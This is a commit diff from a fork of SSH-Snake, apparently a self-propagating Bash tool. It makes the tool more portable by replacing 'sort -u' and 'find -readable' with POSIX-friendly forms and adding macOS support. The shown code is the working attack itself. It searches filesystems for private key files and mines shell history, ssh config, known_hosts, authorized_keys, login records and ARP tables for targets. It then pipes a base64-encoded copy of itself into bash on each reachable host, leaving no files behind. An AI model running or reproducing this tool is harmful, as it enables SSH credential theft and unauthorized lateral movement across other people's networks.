forked from extern/SSH-Snake
Remove more GNU-ism, improve MacOS support, remove -readable, and use sort|uniq instead of sort -u
This commit is contained in:
parent
b30ee12a27
commit
61acad40b4
@ -61,7 +61,7 @@ curl https://raw.githubusercontent.com/MegaManSec/SSH-Snake/main/Snake.nocomment
|
||||
|
||||
# About SSH-Snake
|
||||
|
||||
SSH-Snake seamlessly emulates what a human adversary would do to discover SSH private keys and destinations where they can be used to connect to. Written entirely in Bash, it operates with a minimal set of dependencies commonly available on major Linux (and MacOS) systems: `bash`, `ssh`, `coreutils`, `awk`, `sort`, `grep`, `tr`, `find`, and `cat`. `getent` OR `dscacheutil` is required. `sed` is required for only the very first system. Likewise, `sudo`, `hostname`, `ip`, `timeout`, `arp`, `ifconfig`, `ipconfig`, and `xargs` may also be used, but they are not required (and the script gracefully handles cases where they are not present). If a system is discovered without any of the required packages, it gracefully fails, alerting the user that the scan could not continue on that particular system (and backtracks, continuing from the previous system.)
|
||||
SSH-Snake seamlessly emulates what a human adversary would do to discover SSH private keys and destinations where they can be used to connect to. Written entirely in Bash, it operates with a minimal set of dependencies commonly available on major Linux (and MacOS) systems: `bash`, `ssh`, `coreutils`, `awk`, `uniq`, `sort`, `grep`, `tr`, `find`, and `cat`. `getent` OR `dscacheutil` is required. `sed` is required for only the very first system. Likewise, `sudo`, `hostname`, `ip`, `timeout`, `arp`, `ifconfig`, `ipconfig`, and `xargs` may also be used, but they are not required (and the script gracefully handles cases where they are not present). If a system is discovered without any of the required packages, it gracefully fails, alerting the user that the scan could not continue on that particular system (and backtracks, continuing from the previous system.)
|
||||
|
||||
SSH-Snake is completely fileless: after the user runs the script, it is passed to destinations' bash via stdin and bash arguments (via SSH). No material evidence of the script exists on any of the systems scanned: the only evidence of the script running is in the process tree, and the substantial amount of invalid SSH attempts which will inevitably occur.
|
||||
|
||||
@ -144,6 +144,4 @@ I am particually interested in any interesting `[line]` outputs associated with
|
||||
|
||||
- GNU coreutils: The script relies heavily on GNU coreutils. I have not determined how much (if any) GNU-ism is used in the script.
|
||||
|
||||
- `find ... -readable ...` is used in the script in multiple places. The `-readable` flag is not supported on all versions of `find(1)`.
|
||||
|
||||
- The script does not currently look for SSH agent sockets.
|
||||
|
@ -260,7 +260,7 @@ printf "%s\n" "$line"
|
||||
done < <(echo 'printf "%s" "$1" | base64 -d | stdbuf -o0 bash --noprofile --norc -s $1' | stdbuf -o0 bash --noprofile --norc -s "$(printf "%s" "$local_script" | base64 | tr -d '\n')" 2>&1 | grep -v -F 'INTERNAL_MSG')
|
||||
[[ $use_retry_all_dests -eq 1 ]] || return
|
||||
local retried_interesting_dests
|
||||
retried_interesting_dests="$(gen_retried_interesting_dests | sort -u)"
|
||||
retried_interesting_dests="$(gen_retried_interesting_dests | sort | uniq)"
|
||||
[[ "${#retried_interesting_dests}" -gt 0 ]] || return
|
||||
printf "\n\n---------------------------------------\n\n"
|
||||
printf "use_retry_all_dests=1. Re-starting.\n"
|
||||
@ -325,8 +325,8 @@ printf "Unique shell accounts accessed: %s\n" "${#root_ssh_hostnames_dests[@]}"
|
||||
printf "Unique systems accessed: %s\n" "${#root_ssh_hosts[@]}"
|
||||
printf "\nNeed a list of servers accessed? Run one of these commands:\n\n"
|
||||
cat <<"EOF"
|
||||
grep -oE "[a-z_][a-z0-9_-]{0,31}@[0-9\.]*$" output.log | sort -u
|
||||
grep -oE "[a-z_][a-z0-9_-]{0,31}@\([0-9\.:]*\)$" output.log | sort -u
|
||||
grep -oE "[a-z_][a-z0-9_-]{0,31}@[0-9\.]*$" output.log | sort | uniq
|
||||
grep -oE "[a-z_][a-z0-9_-]{0,31}@\([0-9\.:]*\)$" output.log | sort | uniq
|
||||
EOF
|
||||
printf -- "-- https://joshua.hu/ --\n"
|
||||
printf -- "-- https://github.com/MegaManSec/SSH-Snake --\n"
|
||||
@ -335,7 +335,7 @@ printf "\nThanks for playing!\n"
|
||||
check_commands() {
|
||||
local required_commands
|
||||
local required_command
|
||||
required_commands=("ssh-keygen" "readlink" "ssh" "basename" "base64" "awk" "sort" "grep" "tr" "find" "cat" "stdbuf")
|
||||
required_commands=("ssh-keygen" "readlink" "ssh" "basename" "base64" "awk" "sort" "uniq" "grep" "tr" "find" "cat" "stdbuf")
|
||||
for required_command in "${required_commands[@]}"; do
|
||||
if ! command -v "$required_command" >/dev/null 2>&1; then
|
||||
echo "$required_command"
|
||||
@ -538,7 +538,7 @@ is_dir "$ssh_folder" || continue
|
||||
while IFS= read -r ssh_file; do
|
||||
is_file "$ssh_file" || continue
|
||||
ssh_files["$ssh_file"]=1
|
||||
done < <(${s} find -L "$ssh_folder" -type f -readable 2>/dev/null)
|
||||
done < <(${s} find -L "$ssh_folder" -type f 2>/dev/null)
|
||||
done
|
||||
}
|
||||
check_file_for_privkey() {
|
||||
@ -615,7 +615,7 @@ find_ssh_keys_paths() {
|
||||
local ssh_file
|
||||
while IFS= read -r ssh_file; do
|
||||
check_and_populate_keys "$ssh_file"
|
||||
done < <(${s} find -L ${scan_paths[@]} -maxdepth "$scan_paths_depth" -type f -size +200c -size -14000c -readable -exec grep -l -m 1 -E '^----[-| ]BEGIN .{0,15}PRIVATE KEY' {} + 2>/dev/null)
|
||||
done < <(${s} find -L ${scan_paths[@]} -maxdepth "$scan_paths_depth" -type f -size +200c -size -14000c -exec grep -l -m 1 -E '^----[-| ]BEGIN .{0,15}PRIVATE KEY' {} + 2>/dev/null)
|
||||
}
|
||||
check_potential_key_files() {
|
||||
local key_file
|
||||
@ -720,7 +720,7 @@ fi
|
||||
done
|
||||
[[ -z "$cached_ssh_user" ]] && add_ssh_user "$home_user" && cached_ssh_user="$home_user"
|
||||
[[ -n "$cached_ssh_user" && -n "$cached_ssh_host" ]] && add_ssh_dest "$cached_ssh_user@$cached_ssh_host"
|
||||
done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" 2>/dev/null | sort -u)
|
||||
done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" 2>/dev/null | sort | uniq)
|
||||
done
|
||||
}
|
||||
find_from_ssh_config() {
|
||||
@ -757,8 +757,8 @@ add_ssh_user "$cline_val"
|
||||
check_potential_key_files "$cline_val" "$home_folder"
|
||||
;;
|
||||
esac
|
||||
done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" 2>/dev/null | sort -u)
|
||||
done < <(${s} find -L "$home_folder/.ssh" -type f -readable 2>/dev/null)
|
||||
done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" 2>/dev/null | sort | uniq)
|
||||
done < <(${s} find -L "$home_folder/.ssh" -type f 2>/dev/null)
|
||||
done
|
||||
}
|
||||
find_user_from_file() {
|
||||
@ -783,8 +783,8 @@ local ssh_host
|
||||
while IFS= read -r ssh_host; do
|
||||
add_ssh_host "$ssh_host"
|
||||
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
|
||||
done < <(echo "$ssh_address" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u)
|
||||
done < <(${s} grep -F 'from=' -- "$ssh_file" 2>/dev/null | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u)
|
||||
done < <(echo "$ssh_address" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort | uniq)
|
||||
done < <(${s} grep -F 'from=' -- "$ssh_file" 2>/dev/null | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort | uniq)
|
||||
done
|
||||
}
|
||||
find_from_last() {
|
||||
@ -792,7 +792,7 @@ local ssh_dest
|
||||
last -aiw >/dev/null 2>&1 || return
|
||||
while IFS= read -r ssh_dest; do
|
||||
add_ssh_dest "$ssh_dest"
|
||||
done < <(last -aiw 2>/dev/null | grep -v reboot | awk '/\./ {print $1":"$NF}' | sort -u)
|
||||
done < <(last -aiw 2>/dev/null | grep -v reboot | awk '/\./ {print $1":"$NF}' | sort | uniq)
|
||||
}
|
||||
find_from_known_hosts() {
|
||||
local ssh_file
|
||||
@ -812,26 +812,26 @@ add_ssh_user "$ssh_user"
|
||||
add_ssh_host "$ssh_host"
|
||||
add_ssh_dest "$ssh_dest"
|
||||
[[ -n "$home_user" && -n "$ssh_host" ]] && add_ssh_dest "$home_user@$ssh_host"
|
||||
done < <(${s} "${sshkeygen[@]}" "$ssh_file" 2>/dev/null | grep -F -v '|1|' | tr '[:upper:]' '[:lower:]' | grep -oE ':[a-z0-9]{2} .*' | awk '{print $2}' | sort -u)
|
||||
done < <(${s} "${sshkeygen[@]}" "$ssh_file" 2>/dev/null | grep -F -v '|1|' | tr '[:upper:]' '[:lower:]' | grep -oE ':[a-z0-9]{2} .*' | awk '{print $2}' | sort | uniq)
|
||||
done
|
||||
}
|
||||
find_from_hosts() {
|
||||
local ssh_host
|
||||
while IFS= read -r ssh_host; do
|
||||
add_ssh_host "$ssh_host"
|
||||
done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort -u)
|
||||
done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort | uniq)
|
||||
while IFS=": " read -r _ ssh_host; do
|
||||
add_ssh_host "$ssh_host"
|
||||
done < <(dscacheutil -q host 2>/dev/null | grep -F 'ip_address:' | sort -u)
|
||||
done < <(dscacheutil -q host 2>/dev/null | grep -F 'ip_address:' | sort | uniq)
|
||||
}
|
||||
find_arp_neighbours() {
|
||||
local ssh_host
|
||||
while IFS= read -r ssh_host; do
|
||||
add_ssh_host "$ssh_host"
|
||||
done < <(ip neigh 2>/dev/null | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u)
|
||||
done < <(ip neigh 2>/dev/null | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort | uniq)
|
||||
while IFS= read -r ssh_host; do
|
||||
add_ssh_host "$ssh_host"
|
||||
done < <(arp -a 2>/dev/null | awk -F"\\\(|\\\)" '{print $2}' | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u)
|
||||
done < <(arp -a 2>/dev/null | awk -F"\\\(|\\\)" '{print $2}' | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort | uniq)
|
||||
}
|
||||
find_d_block() {
|
||||
local octets
|
||||
|
34
Snake.sh
34
Snake.sh
@ -483,7 +483,7 @@ shape_script() {
|
||||
[[ $use_retry_all_dests -eq 1 ]] || return
|
||||
|
||||
local retried_interesting_dests
|
||||
retried_interesting_dests="$(gen_retried_interesting_dests | sort -u)"
|
||||
retried_interesting_dests="$(gen_retried_interesting_dests | sort | uniq)"
|
||||
|
||||
[[ "${#retried_interesting_dests}" -gt 0 ]] || return
|
||||
|
||||
@ -565,8 +565,8 @@ EOF
|
||||
printf "Unique systems accessed: %s\n" "${#root_ssh_hosts[@]}"
|
||||
printf "\nNeed a list of servers accessed? Run one of these commands:\n\n"
|
||||
cat <<"EOF"
|
||||
grep -oE "[a-z_][a-z0-9_-]{0,31}@[0-9\.]*$" output.log | sort -u
|
||||
grep -oE "[a-z_][a-z0-9_-]{0,31}@\([0-9\.:]*\)$" output.log | sort -u
|
||||
grep -oE "[a-z_][a-z0-9_-]{0,31}@[0-9\.]*$" output.log | sort | uniq
|
||||
grep -oE "[a-z_][a-z0-9_-]{0,31}@\([0-9\.:]*\)$" output.log | sort | uniq
|
||||
|
||||
EOF
|
||||
|
||||
@ -581,7 +581,7 @@ check_commands() {
|
||||
local required_commands
|
||||
local required_command
|
||||
|
||||
required_commands=("ssh-keygen" "readlink" "ssh" "basename" "base64" "awk" "sort" "grep" "tr" "find" "cat" "stdbuf") # "sudo" "hostname" "xargs" "getent" "ifconfig" "ipconfig" "ip" "timeout" "dscacheutil" are all semi-optional. "sed" is necessary only by the first system.
|
||||
required_commands=("ssh-keygen" "readlink" "ssh" "basename" "base64" "awk" "sort" "uniq" "grep" "tr" "find" "cat" "stdbuf") # "sudo" "hostname" "xargs" "getent" "ifconfig" "ipconfig" "ip" "timeout" "dscacheutil" are all semi-optional. "sed" is necessary only by the first system.
|
||||
|
||||
for required_command in "${required_commands[@]}"; do
|
||||
if ! command -v "$required_command" >/dev/null 2>&1; then
|
||||
@ -921,7 +921,7 @@ init_ssh_files() {
|
||||
while IFS= read -r ssh_file; do
|
||||
is_file "$ssh_file" || continue
|
||||
ssh_files["$ssh_file"]=1
|
||||
done < <(${s} find -L "$ssh_folder" -type f -readable 2>/dev/null)
|
||||
done < <(${s} find -L "$ssh_folder" -type f 2>/dev/null)
|
||||
done
|
||||
}
|
||||
|
||||
@ -1048,7 +1048,7 @@ find_ssh_keys_paths() {
|
||||
|
||||
while IFS= read -r ssh_file; do
|
||||
check_and_populate_keys "$ssh_file"
|
||||
done < <(${s} find -L ${scan_paths[@]} -maxdepth "$scan_paths_depth" -type f -size +200c -size -14000c -readable -exec grep -l -m 1 -E '^----[-| ]BEGIN .{0,15}PRIVATE KEY' {} + 2>/dev/null) # Longest key is ---- BEGIN SSH2 ENCRYPTED PRIVATE KEY ----. We lose "SSH PRIVATE KEY FILE FORMAT 1.1" but oh well.
|
||||
done < <(${s} find -L ${scan_paths[@]} -maxdepth "$scan_paths_depth" -type f -size +200c -size -14000c -exec grep -l -m 1 -E '^----[-| ]BEGIN .{0,15}PRIVATE KEY' {} + 2>/dev/null) # Longest key is ---- BEGIN SSH2 ENCRYPTED PRIVATE KEY ----. We lose "SSH PRIVATE KEY FILE FORMAT 1.1" but oh well.
|
||||
}
|
||||
|
||||
# Given a key file path and a home directory, determine whether the key exists and corresponds to a private key or not using the appropriate home directory location where necessary.
|
||||
@ -1242,7 +1242,7 @@ find_from_bash_history() {
|
||||
[[ -z "$cached_ssh_user" ]] && add_ssh_user "$home_user" && cached_ssh_user="$home_user" # XXX: Can we parse ssh_config and detect Host [host] corresponds to a user, instead?
|
||||
|
||||
[[ -n "$cached_ssh_user" && -n "$cached_ssh_host" ]] && add_ssh_dest "$cached_ssh_user@$cached_ssh_host"
|
||||
done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" 2>/dev/null | sort -u)
|
||||
done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" 2>/dev/null | sort | uniq)
|
||||
done
|
||||
}
|
||||
|
||||
@ -1300,8 +1300,8 @@ find_from_ssh_config() {
|
||||
check_potential_key_files "$cline_val" "$home_folder"
|
||||
;;
|
||||
esac
|
||||
done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" 2>/dev/null | sort -u)
|
||||
done < <(${s} find -L "$home_folder/.ssh" -type f -readable 2>/dev/null)
|
||||
done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" 2>/dev/null | sort | uniq)
|
||||
done < <(${s} find -L "$home_folder/.ssh" -type f 2>/dev/null)
|
||||
done
|
||||
}
|
||||
|
||||
@ -1337,8 +1337,8 @@ find_from_authorized_keys() {
|
||||
while IFS= read -r ssh_host; do
|
||||
add_ssh_host "$ssh_host"
|
||||
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
|
||||
done < <(echo "$ssh_address" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u)
|
||||
done < <(${s} grep -F 'from=' -- "$ssh_file" 2>/dev/null | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u)
|
||||
done < <(echo "$ssh_address" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort | uniq)
|
||||
done < <(${s} grep -F 'from=' -- "$ssh_file" 2>/dev/null | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort | uniq)
|
||||
done
|
||||
}
|
||||
|
||||
@ -1350,7 +1350,7 @@ find_from_last() {
|
||||
|
||||
while IFS= read -r ssh_dest; do
|
||||
add_ssh_dest "$ssh_dest"
|
||||
done < <(last -aiw 2>/dev/null | grep -v reboot | awk '/\./ {print $1":"$NF}' | sort -u)
|
||||
done < <(last -aiw 2>/dev/null | grep -v reboot | awk '/\./ {print $1":"$NF}' | sort | uniq)
|
||||
|
||||
}
|
||||
|
||||
@ -1387,7 +1387,7 @@ find_from_known_hosts() {
|
||||
add_ssh_dest "$ssh_dest"
|
||||
|
||||
[[ -n "$home_user" && -n "$ssh_host" ]] && add_ssh_dest "$home_user@$ssh_host"
|
||||
done < <(${s} "${sshkeygen[@]}" "$ssh_file" 2>/dev/null | grep -F -v '|1|' | tr '[:upper:]' '[:lower:]' | grep -oE ':[a-z0-9]{2} .*' | awk '{print $2}' | sort -u)
|
||||
done < <(${s} "${sshkeygen[@]}" "$ssh_file" 2>/dev/null | grep -F -v '|1|' | tr '[:upper:]' '[:lower:]' | grep -oE ':[a-z0-9]{2} .*' | awk '{print $2}' | sort | uniq)
|
||||
done
|
||||
}
|
||||
|
||||
@ -1397,11 +1397,11 @@ find_from_hosts() {
|
||||
|
||||
while IFS= read -r ssh_host; do
|
||||
add_ssh_host "$ssh_host"
|
||||
done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort -u) # skip ipv6 for now, might be tab.
|
||||
done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort | uniq) # skip ipv6 for now, might be tab.
|
||||
|
||||
while IFS=": " read -r _ ssh_host; do
|
||||
add_ssh_host "$ssh_host"
|
||||
done < <(dscacheutil -q host 2>/dev/null | grep -F 'ip_address:' | sort -u)
|
||||
done < <(dscacheutil -q host 2>/dev/null | grep -F 'ip_address:' | sort | uniq)
|
||||
}
|
||||
|
||||
# Neighbouring hosts that announce themselves via ARP may be interesting.
|
||||
@ -1410,11 +1410,11 @@ find_arp_neighbours() {
|
||||
|
||||
while IFS= read -r ssh_host; do
|
||||
add_ssh_host "$ssh_host"
|
||||
done < <(ip neigh 2>/dev/null | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u) # ignore ipv6 and ignore gateway
|
||||
done < <(ip neigh 2>/dev/null | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort | uniq) # ignore ipv6 and ignore gateway
|
||||
|
||||
while IFS= read -r ssh_host; do
|
||||
add_ssh_host "$ssh_host"
|
||||
done < <(arp -a 2>/dev/null | awk -F"\\\(|\\\)" '{print $2}' | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u) # ignore ipv6 and ignore gateway
|
||||
done < <(arp -a 2>/dev/null | awk -F"\\\(|\\\)" '{print $2}' | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort | uniq) # ignore ipv6 and ignore gateway
|
||||
}
|
||||
|
||||
# Neighbouring d-block hosts (x.x.x.0-x.x.x.255) may be interesting.
|
||||
|
Loading…
Reference in New Issue
Block a user